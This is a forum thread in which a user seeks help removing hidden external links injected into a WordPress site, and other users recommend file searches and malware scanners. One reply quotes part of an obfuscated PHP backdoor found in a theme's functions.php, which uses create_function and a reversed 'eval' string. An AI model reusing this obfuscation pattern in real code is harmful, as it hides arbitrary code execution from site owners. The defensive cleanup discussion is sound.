[HELP!] Hidden external links injected into WP site!

[indianfreak]

I've got a folder "js_composer" in my plugins folder. Is it legit? I thought it comes with WPBakery Visual Composer.

 

[indianfreak]

Thanks @cyber.surfer . I just don't know how to confirm it and get rid of it.

Its probably in the theme's .php files like header.php or functions.php. Base64 or reverse base 64 encoding is what I suspect.

 

[Panther28]

you could download an offline copy of your site, then use an advanced file search to look for one of the links, see what php file they are being posted in. If nothing comes up, then some code is being used somewhere to hide the links in your sites sql database.

 

[cyber.surfer]

I've got a folder "js_composer" in my plugins folder. Is it legit? I thought it comes with WPBakery Visual Composer.

The folder is legit .

 

[indianfreak]

I used "Search & Replace" plugin to locate those links, but nothing came up. But I think the plugin works only on tables. Don't know how to check php files online. Will download the site and do as you've instructed.

you could download an offline copy of your site, then use an advanced file search to look for one of the links, see what php file they are being posted in. If nothing comes up, then some code is being used somewhere to hide the links in your sites sql database.

 

[Panther28]

you'll need this guide to search if your using windows. (The search should work on windows 7 by default, but not sure about others)

 

[cyber.surfer]

I might give it a try if you provide me the download link of your theme's folder.

 

[Panther28]

i'm just going to my bed, so hopefully a few people can pick things up, depending what you find on that file search.

I'll check back in the morning though. Good luck.

 

[indianfreak]

Thanks man.

i'm just going to my bed, so hopefully a few people can pick things up, depending what you find on that file search.

I'll check back in the morning though. Good luck.

 

[indianfreak]

@cyber.surfer Please wait for a few minutes, I'll send you the link.

 

[indianfreak]

@cyber.surfer sent you a PM. Thanks.

 

[kevin shah]

@cyber.surfer sent you a PM. Thanks.

Please send me a PM. I can help you out. Faced similar issue with site. Try scanning with Anti malware plugin.

 

[Panther28]

How did you get on then?

 

[Wilson Grant Fisk]

How did you get on then?

OP is currently running a WordFence Scan

I told him to try these plugins one by one to try to fix the infection.
https://wordpress.org/plugins/wordfence/
https://wordpress.org/plugins/tac/
https://en-gb.wordpress.org/plugins/sucuri-scanner/
https://wordpress.org/plugins/quttera-web-malware-scanner/
https://wordpress.org/plugins/gotmls/
https://wordpress.org/plugins/exploit-scanner/
https://wordpress.org/plugins/wp-antivirus-site-protection/
https://wordpress.org/plugins/ose-firewall/
https://wordpress.org/plugins/antivirus/
https://wordpress.org/plugins/6scan-protection/
https://wordpress.org/plugins/wemahu/

I checked his site with http://whatwpthemeisthat.com/ and it looks like he may need an updated theme, as his current one no longer has support.

Also suggested he scan his site with these:
https://quttera.com/
https://aw-snap.info/file-viewer/
http://urlquery.net/
http://www.unmaskparasites.com/
https://sitecheck.sucuri.net/

 

[Panther28]

lol, you gave him plenty homework then

Its something we need a good quality BHW guide for, as it could happen to any of us, and like OP found, its difficult to know what to check, think about first amist your panic thats it happened in the first place.

Cheers Wils.

 

[Kyle6]

I don't know buddy. But good luck

 

[indianfreak]

Currently doing as instructed by @Asif WILSON Khan

How did you get on then?

 

[indianfreak]

I don't know buddy. But good luck

Thanks man. I need a lot of it.

 

[coccodimamma]

I got a similar problem witha client of mine last week.
Look for functions.php in your template folder and delete the base 64 encoding stuff.
Mine looked like this

$wp_user_functions_init = create_function('$a',strrev(';)a$(lave'));
$wp_user_functions_init(strrev(';))"

.
Hope it helps.

 

[indianfreak]

Checking this out. Thanks.

I got a similar problem witha client of mine last week.
Look for functions.php in your template folder and delete the base 64 encoding stuff.
Mine looked like this

$wp_user_functions_init = create_function('$a',strrev(';)a$(lave'));
$wp_user_functions_init(strrev(';))"

.
Hope it helps.